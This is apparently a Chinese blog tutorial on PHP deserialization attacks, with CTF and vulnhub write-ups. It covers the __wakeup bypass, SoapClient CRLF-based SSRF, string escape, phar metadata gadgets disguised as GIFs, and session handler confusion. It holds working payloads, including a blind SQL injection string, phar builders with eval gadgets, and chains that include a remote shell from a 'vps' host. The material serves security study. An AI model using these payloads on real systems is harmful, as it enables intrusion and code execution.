php反序列化那些事

  • A+

导图

开头一张图,内容全靠编

序列化与反序列化

在 PHP 中,序列化使用 serialize() 函数将对象转化为可传输的字符串,反序列化则使用 unserialize() 将字符串还原为对象

序列化结果分析

解释一下不同数据类型序列化的结果

```php
<?php
Class test{
public $a = '1';
public $bb = 2;
public $ccc = True;
}

$r = new test();
echo serialize($r);

$array_t = array("a"=>"1", "bb"=>"2", "ccc"=>"3");
echo serialize($array_t);
```

输出结果分别为

php
O:4:"test":3:{s:1:"a";s:1:"1";s:2:"bb";i:2;s:3:"ccc";b:1;}
a:3:{s:1:"a";s:1:"1";s:2:"bb";s:1:"2";s:3:"ccc";s:1:"3";}

对于反序列化的结果,第一个字母 O 代表 Object,a 代表 array,s 代表 string,这里没有列举 string 的例子是因为没有必要。具体解释如图,array 的结果也是类似的,只不过 array 是数据类型直接加元素个数

另外,这里的 4 (第一个,O 后面的那个) 可以换成 +4,可以用来 bypass

不同类型类属性结果

解释一下类中不同类型属性序列化的结果

```php
<?php
Class test{
private $a = "a";
protected $b = "b";
public $c = "c";
}

$r = new test();
echo serialize($r);
echo urlencode(serialize($r));
```

输出结果为

php
O:4:"test":3:{s:7:"testa";s:1:"a";s:4:"*b";s:1:"b";s:1:"c";s:1:"c";}
O%3A4%3A%22test%22%3A3%3A%7Bs%3A7%3A%22%00test%00a%22%3Bs%3A1%3A%22a%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bs%3A1%3A%22b%22%3Bs%3A1%3A%22c%22%3Bs%3A1%3A%22c%22%3B%7D

把第一个结果进行 urlencode 之后和第二个比较,可以发现不一样的。

PHP 序列化的时候 privateprotected 变量会引入不可见字符 \00\00test\00a 为 private,\00*\00 为 protected,注意这两个 \00 就是 ascii 码为 0 的字符。这个字符显示和输出可能看不到,甚至导致截断,url 编码后就可以看得很清楚了。

此时,为了更加方便进行反序列化 payload 的传输与显示,我们可以在序列化内容中用大写 S 表示字符串,此时这个字符串就支持将后面的字符串用 16 进制表示。所以一般都会使用 urlencode 或者 base64 encode

关于base64_encode和urlencode处理payload

注意,大写 S 表示字符串,后面再跟 \00 在 php 5.5 之前可以被成功解释,之后不可以。另外,如果输入内内容是 base64 编码之后的结果,那么再进行 base64 解码时,原本的 url 编码不会被识别

```php
<?php
Class test{
public $a = "a";
}

// O%3A4%3A%22test%22%3A1%3A%7Bs%3A1%3A%22a%22%3Bs%3A1%3A%22a%22%3B%7D
$s = "TyUzQTQlM0ElMjJ0ZXN0JTIyJTNBMSUzQSU3QnMlM0ExJTNBJTIyYSUyMiUzQnMlM0ExJTNBJTIyYSUyMiUzQiU3RA==";
// 假设 $s 是输入的 payload

var_dump(unserialize(base64_decode($s)));
// 报错

var_dump(unserialize(urldecode(base64_decode($s))));
// 正确输出

```

private 变量赋值

在构造 pop 链时,private 类型变量最好使用 __construct 函数来进行赋值,以免出错

如果只是赋值为字符串的话,可以直接赋值;但是如果是 类的实例化对象 的话,就要用这种方法

```php
class User{
private $name="admin";
private $age;

function __construct(){
    $this->age = new Age();
}

function __destruct(){
}

}
```

魔术方法

code

```php
<?php
Class User{
public $name = "Bob";
private $id = "417";

function __construct($name){
    $this->name = $name;
    echo "this is __construct"."</br>";
}
function __destruct(){
    echo "this is __destruct"."</br>";
}
function __invoke(){
    echo "this is __invoke"."</br>";
}
function __toString(){
    return  "this is __toString"."</br>";
}
function __wakeup(){
    echo "this is __wakeup"."</br>";
}
function __sleep(){
    echo "this is __sleep"."</br>";
    return array("name","id");
}
function __call($name, $args){
    echo "this is __call. name is ".$name." args is ".$args."</br>";
}
function __get($arg){
    echo "call __get"."</br>";
}
function __set($name,$id){
    echo "call __set"."</br>";
}

}

$r = new User("Alice");
$r();
echo $r;
unserialize(serialize($r));
$r->print("a");
$r->id;
$r->id = 1;
```

输出顺序如下

php
this is __construct
this is __invoke
this is __toString
this is __sleep
this is __wakeup
this is __destruct
this is __call. name is print args is Array
call __get
call __set
this is __destruct

__sleep() 在 __construct() 执行前执行, __wakeup() 会在 unserialize() 执行前执行,所以 __wakeup() 比 __destruct() 提前执行

__wakeup() bypass

在需要对 __wakeup() 进行绕过的时候,可以让序列化结果中类属性的数值大于其真正的数值进行绕过,这个方式适用于 PHP < 5.6.25 和 PHP < 7.0.10

```php
<?php
Class User{
public $name="Bob";

function __destruct(){
    echo "name is Bob </br>";
}

function __wakeup(){
    echo "exit </br>";
}

}
@var_dump(unserialize($_POST["u"]));
```

POST 参数 O:4:"User":1:{s:4:"name";s:3:"Bob";} 可以看到输出是

```
exit

object(User)[1]
public 'name' => string 'Bob' (length=3)

name is Bob
```

如果在某些情况下,不想让 __wakeup() 执行,可以将 "User" 后的 2 改为一个比 2 大的数字

POST 参数 O:4:"User":2:{s:4:"name";s:3:"Bob";}

```
name is Bob

boolean false
```

SoapClient 反序列化与 CRLF

SoapClient 类 用来提供和使用 webservice

php
public SoapClient::SoapClient ( mixed $wsdl [, array $options ] )

第一个参数为 WSDL 文件的 URI ,如果是 NULL 意味着不使用 WSDL 模式

第二个参数是一个数组,如果在 WSDL 模式下,这个参数是可选的。如果在 non-WSDL 模式下,必须设置 location 和 uri 参数,location 是要请求的 URL,uri 是要访问的资源

在官方文档中可以看到,它的 user_agent 参数是可以控制 HTTP 头部的 User-Agent 的。而在 HTTP 协议中,header 与 body 是用两个 \r\n 分隔的,浏览器也是通过这两个 \r\n 来区分 header 和 body 的

The user_agent option specifies string to use in User-Agent header.

在一个正常的 SoapClient 请求中,可以看到,SOAPAction 是可控的,尽管 php 报了关于 http 头部的 Fatal error 和 SoapFault,还是监听到了请求

php
<?php
$a = array('location'=>'http://127.0.0.1:20000/', 'uri'=>'user');
$x = new SoapClient(NULL, $a);
$y = serialize($x);
$z = unserialize($y);
$z->no_func();

这样就有两个地方是可控的,User-Agent 和 SOAPAction,明显 Content-Type 和 Content-Length 都在 User-Agent 之下,用 wupco 师傅的 payload 就能进行任意的 POST 请求,这里要先 urldecode 才可以进行反序列化

```php
<?php
$target = 'http://127.0.0.1:20000/';
$post_string = 'asdfghjkl';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: admin=1'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "peri0d"));

$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);
echo $aaa;

$x = unserialize(urldecode($aaa));
$x->no_func();
```

在 index.php 处的代码是捕获 http body 并存储到 txt 中,先监听一下端口得到请求头,然后再用 soap 访问一下 index.php,可以看到成功控制了这个 POST 请求

```http
POST / HTTP/1.1
Host: 122.51.18.106:20000
Connection: Keep-Alive
User-Agent: wupco
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Cookie: admin=1
Content-Length: 9

asdfghjkl
Content-Type: text/xml; charset=utf-8
SOAPAction: "user#no_func"
Content-Length: 371



```

[N1CTF 2018] Easy&&Hard Php 就用到了这个知识点,那里先是在 Db 类的 insert 方法中,会把 array(columns) 替换为 `userid`,`username`,`signature`,`mood` ,把 array(values) 替换为 ( '22','user','aa','0' ) 其中会把 ` 替换为 '

```php
private function get_column($columns){

    if(is_array($columns))
        $column = ' `'.implode('`,`',$columns).'` ';
    else
        $column = ' `'.$columns.'` ';

    return $column;
}

public function insert($columns,$table,$values){

    $column = $this->get_column($columns);
    $value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';
    $nid =
    $sql = 'insert into '.$table.'('.$column.') values '.$value;
    $result = $this->conn->query($sql);

    return $result;
}

```

最终的 insert 语句为如下,在 signature 那里就可以触发注入,可以使用 is_admin<>0 判断 admin ,就可以得到用户名和密码,一个语句如下

php
// insert 语句
insert into ctf_user_signature( `userid`,`username`,`signature`,`mood` ) values ( '22','user','aa','0' )
// 注入语句
signature=ss`,if(ascii(substr((select username from (SELECT * FROM ctf_users) as x where is_admin<>0),1,1))=97,SLEEP(3),1))%23

在 user.php 中的 showmess() 中会反序列化 mood 参数,因此可以构造 payload 触发反序列化,再利用上面的 SoapClient 就可以触发 SSRF 绕过登陆限制

ss`, payload)%23

PHP 反序列化字符逃逸

在 php 的反序列化中,有如下几个特点

  1. 类中不存在的属性也会进行反序列化
  2. 对于类和数组的反序列化,以 ;作为字段的分隔,以} 作为结尾,若在 } 后再加数据将直接被丢弃
  3. 反序列化按照严格的格式进行

这里举个简单的例子便于理解,更详细的可以阅读这两个帖子 详解PHP反序列化中的字符逃逸php反序列化字符逃逸

对于如下代码,如何做到对象注入?直接 O:4:"Test":2:{s:4:"name";s:3:"Bob";s:8:"password";s:6:"123456";s:6:"object";s:6:"inject";} 就可。

php
<?php
class Test{
public $name = "Bob";
public $password = "123456";
}
function filter($string){
return str_replace('xx','y',$string);
}
$a = $argv[1];
var_dump(unserialize(filter($a)));

下面是逃逸内容

Test 类的一个实例化对象进行序列化之后为 O:4:"Test":2:{s:4:"name";s:3:"Bob";s:8:"password";s:6:"123456";}

如果这个字符串中存在一个 xx 字符串,在经过 filter() 函数操作后,其长度就减少了 1 位,比如 O:4:"Test":2:{s:4:"name";s:5:"Bobxx";s:8:"password";s:6:"123456";} 就变成 O:4:"Test":2:{s:4:"name";s:5:"Boby";s:8:"password";s:6:"123456";}

这样 name 字段就多了一个字符,那就是不是可以考虑继续增加 xx 的数量,直到 name 字段的长度吃掉后面所有的内容,这时,不就可以注入任意内容了吗。

";s:8:"password";s:6:"123456";} 长度为 31,也就需要加 31 个 xx

php
O:4:"Test":2:{s:4:"name";s:65:"Bobxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:8:"password";s:6:"123456";}";s:6:"object";s:6:"inject";}

经过 filter 后就是

php
O:4:"Test":2:{s:4:"name";s:65:"Bobyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";s:8:"password";s:6:"123456";}";s:6:"object";s:6:"inject";}

最后输出结果就是

php
class Test#1 (3) {
public $name =>
string(65) "Bobyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";s:8:"password";s:6:"123456";}"
public $password =>
string(6) "123456"
public $object =>
string(6) "inject"
}

Phar 反序列化

phar 就是将多个 php 文件合成为一个 phar 文件,这个类似于 java 中的 jar

phar结构由 4 部分组成

  • stub : phar 文件标识,格式为 xxx<?php xxx; __HALT_COMPILER();?>
  • manifest : 压缩文件的属性等信息,以序列化存储;
  • contents : 压缩文件的内容;
  • signature : 签名,放在文件末尾;

引用 : 由 PHPGGC 理解 PHP 反序列化漏洞

php 在解析 phar 文件的 metadata 时可能会触发反序列化操作,而且 phar 会默认注册 phar:// 协议,在用 phar:// 协议读取文件的时候会自动解析成 phar 对象,同时反序列化其中存储的 metadata 信息

这就意味着如果可以找到一个上传点,上传构造好的 phar,然后再找到一个可以触发 phar 的点,这就构成了一个利用链。偶然看到了 p 神的原话

1、文件操作函数中的 参数可控 。

2、文件有上传点,可上传构造的特殊 phar文件 。

3、有可利用的 POP链 。

重新认识反序列化-Phar

生成 phar

执行完毕后会生成一个 test.phar 文件,其中的 metadata 是以序列化的形式出现的。php 函数在对 phar 文件进行解析时,就必伴随着反序列化的操作

xxxxx<?php __HALT_COMPILER(); ?> 为 phar 文件首部,xxxxx 可以任意修改为其他文件的头,这样就可以伪造成其他文件

metadata 序列化内容为 O:11:"TestObeject":1:{s:4:"data";s:6:"aaaaaa";}

```php
<?php
class TestObeject{}

$phar = new Phar('test.phar', 0, 'test.phar');
$phar->startBuffering();
$phar->setStub('xxxxx<?php __HALT_COMPILER(); ?>');

$o = new TestObeject();
$o->data = 'aaaaaa';
$phar->setMetadata($o);

$phar->addFromString('text.txt','test');

$phar->stopBuffering();
```

读取 phar 文件

以上面生成的 phar 为例

```php
<?php
class TestObeject{
public function __destruct(){
echo $this->data;
}
}

include('phar://test.phar');
```

输出结果,如果想读取 text.txt 需要这样包含 include('phar://test.phar/text.txt');

aaaaaa

phar 伪造文件类型

```php
<?php
class TestObeject{}

$phar = new Phar('test2.phar', 0, 'test2.phar');
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>');

$o = new TestObeject();
$o->data = 'xxx';
$phar->setMetadata($o);

$phar->addFromString('text.txt','test');
$phar->stopBuffering();
```

一个案例

代码放在这里了 https://github.com/peri0d/phar_test

主要实现了一个上传功能,在 upload_file.php 使用了白名单的方式。evil.php 代码如下,其中 file_exists 可以触发 phar 反序列化

php
<?php
$filename=$_GET['filename'];
class AnyClass{
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename);

使用下面的代码生成 phar.phar,改名为 phar.gif 再上传,向 evil.php 传参 ?filename=phar://upload_file/phar.gif 即可

```php
<?php
class AnyClass{
function __destruct()
{
eval($this -> output);
}
}

$phar = new Phar('phar.phar',0,'phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>');

$o = new AnyClass();
$o->output = 'phpinfo();';

$phar->setMetadata($o);
$phar->addFromString('text.txt','test');
$phar->stopBuffering();
```

phar 反序列化触发函数

利用 phar 拓展 php 反序列化漏洞攻击面

finfo_file finfo_buffer mime_content_type include php://filter getimagesize getimagesizefromstring

[SUCTF2019] Upload labs 2

这一题的思路就是,上传 phar 文件,在 func.php 中 post 数据 php://filter/resource=phar://... 触发 class.php 中 File 类的 __wakeup(),在 __wakeup() 中触发 Soap Client 反序列化,绕过只能本地访问 admin.php 的限制。再上传包含 admin.php 中 Ad() 类的 phar 文件,向 admin.php 传入参数,进行 MySQL Client Attack 以 phar:// 方式读取这次上传的 phar,进而触发 Ad() 类的 __wakeup(),形成一条完整的攻击链。

[LCTF2018] T4lk 1s ch34p,sh0w m3 the sh31l

在知道上面这些知识之后再看这个题目,就觉得很简单。首先是获取 flag 的条件,出题人已经在 K0rz3n_secret_flag 类的 __destruct() 函数写出来了 include_once($this->file_path); ,即远程文件包含 shell。远程包含 shell 时候是把 shell 写入 txt 而不是 php。

可以远程包含的原因在 upload() 里写了,preg_match('/^(http|https).*/i', $_GET['url'])

这里上传的路径表面上无法获取,实际上在 cookie 中已经给出了 O%3A4%3A%22User%22%3A1%3A%7Bs%3A6%3A%22avatar%22%3Bs%3A40%3A%22..%2Fdata%2Ff528764d624db129b32c21fbca0cb8d6%22%3B%7D-----f56979ade75e2d12c660ea9760664dd9

思路就是想办法触发 K0rz3n_secret_flag() 类的反序列化,这就可以考虑 phar。因为源码中可以触发 phar 反序列化的函数有很多,file_exists、getimagesize、copy...... 但是,可以利用的只有 getimagesize,file_exists 不能控制 path,copy 中不能出现 phar,getimagesize 恰好是不允许以 phar 开头,所以可以用 compress.zlib://phar:// 绕过

最终 exp 如下,改名为 avatar.gif 放在 vps 上,然后 ?m=upload&url=http://vps 上传,最后 ?m=check&c=compress.zlib://phar://../data/f528764d624db129b32c21fbca0cb8d6/avatar.gif&a=phpinfo();

```php
<?php
class K0rz3n_secret_flag {
protected $file_path = "http://vps/shell.txt";
}

$phar = new Phar('test.phar', 0, 'test.phar');
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>');

$o = new K0rz3n_secret_flag();
$phar->setMetadata($o);

$phar->addFromString('text.txt','test');

$phar->stopBuffering();
```

后来看了一下 github 上的 writeup,说是这题出的有问题,是非预期,怪不得感觉不难。

[护网杯2018] easy_laravel

这一题的大概流程就是 SQL 注入拿到 admin 的 token,admin 的 email 是已知的,然后就可以重置密码( 登陆界面处 ),之后就可以以 admin 登陆。

访问 flag 发现没有 flag,提示是 blade expired,就可以寻找 phar 反序列化链删除 Blade 缓存文件,然后上传 phar 文件,在 check 中触发反序列化。

这题主要说的是 Laravel 有默认的重置密码机制,也是 email + token 的形式;其次是 blade 缓存的问题,它的缓存位置是 storage/framework/views ;最后就是很火的 phar 反序列化

session 反序列化

php 中的 session

session 可以作为文件存储在服务器的某个目录下,也可以存在数据库中。其中,session 文件以 sess_ 开头,且只含有 a-z,A-Z,0-9,-

session 的存储路径可以在 php.ini 中的 session.save_path 处配置,也可在脚本中用 session_save_path() 函数控制

php session handler

[HarekazeCTF2019] Easy Notes

详细的 wp 可以看 这个文章 这里只是总结一下,这是一个很典型的 session 伪造

首先 session handler 是 php,然后是 session 存储的位置,它是和 note 导出的压缩包位置相同。然后用 get_user() 获取注册名,$type 获取是 zip 还是 tar,这里就可以伪造 session ,usersess_ type 为 . 经过 str_replace 就变成一个符合 session 名称格式的文件,然后就是向 note 写入 session 反序列化的内容,伪造 admin

[i-SOON CTF2019] easy_serialize_php

这个题目表面上在说 session ,实际上就是 php array unserialize,因为它中间有一个 $serialize_info = filter(serialize($_SESSION)); 那这就和 session handler 没多大关系了。

通过 extract() 变量覆盖可以覆盖 session 数组中的 key=>value ,不仅仅可以覆盖,还可以增加 ,这就造成多解。这一题的 filter 函数会把 flag, php 等关键词替换为 空 这就很明显的 反序列化注入对象。

覆盖是指,覆盖 user 和 function 对应的 value, 在 user 处插入关键词,进行覆盖,在 function 处进行对象注入,如果只利用 function 进行逃逸的话,是无法控制对象的注入的。

简化一下就是 a:3:{s:4:"user";s:5:"{1}";s:8:"function";s:10:"{2}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";} 在 {1} 处覆盖,使 user 的 value 覆盖掉 function 字段,然后在 {2} 处注入对象,最后就是修改 {2} 的内容,使它满足反序列化的规则

增加是指不修改 user 和 function 对应的 value,直接插入新的 key=>value,新插入的字段在 img 字段之前,所以可以使用这种方法。

这个简化一下就是 a:4:{s:4:"user";s:4:"aaaa";s:8:"function";s:4:"bbbb";s:4:"{1}";s:4:"{2}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";} 同样的 {1} 处覆盖自己的 value,{2} 处注入对象并调整内容。

[高校战“疫”2020] hackme

这里就只说前面的部分,后面的 ssrf 可以看详细的 wp

这里就是典型的不同 session handler 对 session 内容有不同的处理,导致的伪造

在 html 下的 php 文件,除了 profile.phpphp 的方式,其他都是 php_serialize 的方式,也就是说,从登陆到上传签名都是 php_serialize 而在查看签名时是 php

在 core 下的文件,都是 php 的方式。整体思路就出来了,就是利用这两个不同方式解析的差异去伪造 admin

```php
php 的方式
name|s:2:"pe";sign|s:7:"xianzhi";admin|i:0;

php_serialize 的方式
a:3:{s:4:"name";s:2:"pe";s:4:"sign";s:7:"xianzhi";s:5:"admin";i:0;}
```

假设 session 为

php
a:3:{s:4:"name";s:2:"pe";s:4:"sign|s:10:"xianzhi233";admin|i:1;|N;";s:7:"xianzhi";s:5:"admin";i:1;}

那么以 php 方式解析时的结果为

再看一下 session 文件,发现其内容变为如下内容,自动丢弃不符合规定的内容

php
a:3:{s:4:"name";s:2:"pe";s:4:"sign|s:10:"xianzhi233";admin|i:1;|N;

回到题目,在 lib.php 的 check_session 函数中,返回 admin 的判断条件如下,意思就是在 session 数组中再套一层 admin 字段

php
function check_session($session)
{
foreach ($session as $keys => $values) {
foreach ($values as $key => $value) {
if ($key === 'admin' && $value === 1) {
return true;
}
}
}
return false;
}

看一下正常生成的 session,sign 和 name 是可控的,这里就考虑用 sign 字段,因为 name 字段的输入有过滤

a:3:{s:4:"name";s:7:"xianzhi";s:4:"sign";s:6:"gadsaf";s:5:"admin";i:0;}

在 upload 功能处,提交 |N;sign|s:1:"*";admin|a:1:{s:5:"admin";i:1;} 这样 session 就是

a:3:{s:4:"name";s:7:"xianzhi";s:4:"sign";s:44:"|N;sign|s:1:"*";admin|a:1:{s:5:"admin";i:1;}

经过 php 方式解析后就符合条件了

[vulnhub] serial1

这是 vulnhub 上一个关于 php unserialize 的靶机,这里就直接给源码了,很简单,暂未做任何修改。代码测试要开启 allow_url_fopen 和 allow_url_include

靶机地址 : https://www.vulnhub.com/entry/serial-1,349/

源码地址 : https://github.com/peri0d/vulnhub_serial1

index.php 是对 cookie 中的 user 字段进行 base64 decode 加反序列化,这是可控输入。

```php
<?php
include("user.class.php");

if(!isset($_COOKIE['user'])){
setcookie("user", base64_encode(serialize(new User('sk4'))));
} else {
unserialize(base64_decode($_COOKIE['user']));
}

echo "This is a beta test for new cookie handler\n";
```

user.class.php 定义两个类 User 和 Welcome

```php
<?php
include("log.class.php");

class Welcome{
public function handler($val){
echo "Hello ". $val . "......";
}
}

class User{
private $name;
private $wel;

function __construct($name){
    $this->name = $name;
    $this->wel = new Welcome();
}

function __destruct(){
    $this->wel->handler($this->name);
}

}
```

log.class.php 定义 Log 类

```php
<?php
class Log{
private $type_log;

function __construct($hnd){
    $this->type_log = $hnd;
}

public function handler($val){
    include($this->type_log);
    echo "LOG: " . $val;
}

}

```

很明显第三个类是给我们利用的,因为前两个文件都没有用到第三个,并且 Welcome 类和 Log 类都有 handler 函数,而在 User 类的析构函数中调用了 wel 实例化对象的 handler 函数。

Log 类的 handler 函数有 include 函数,这样的话攻击链就很明显了,用 User 的析构函数触发 Log 的 handler 函数去包含构造的 shell 文件,修改一下 cookie 即可

```php
<?php
class Log{
private $type_log = "http://vps/shell.txt";
}

class User{
private $name;
private $wel;

function __construct(){
    $this->name = "admin";
    $this->wel = new Log();
}

}

$a = new User();
echo base64_encode(serialize($a));
```

最后

反序列化要多多关注 __destruct 和 __wakeup 函数

尽量选择简单的函数去构造 pop 链

参考

https://xz.aliyun.com/t/2148#toc-0

https://xz.aliyun.com/t/6057

https://xz.aliyun.com/t/6699#toc-5

https://blog.zsxsoft.com/post/38

https://xz.aliyun.com/t/6911#toc-3

https://lorexxar.cn/2020/01/14/css-mysql-chain/

https://skysec.top/2018/10/13/2018%E6%8A%A4%E7%BD%91%E6%9D%AF-web-writeup/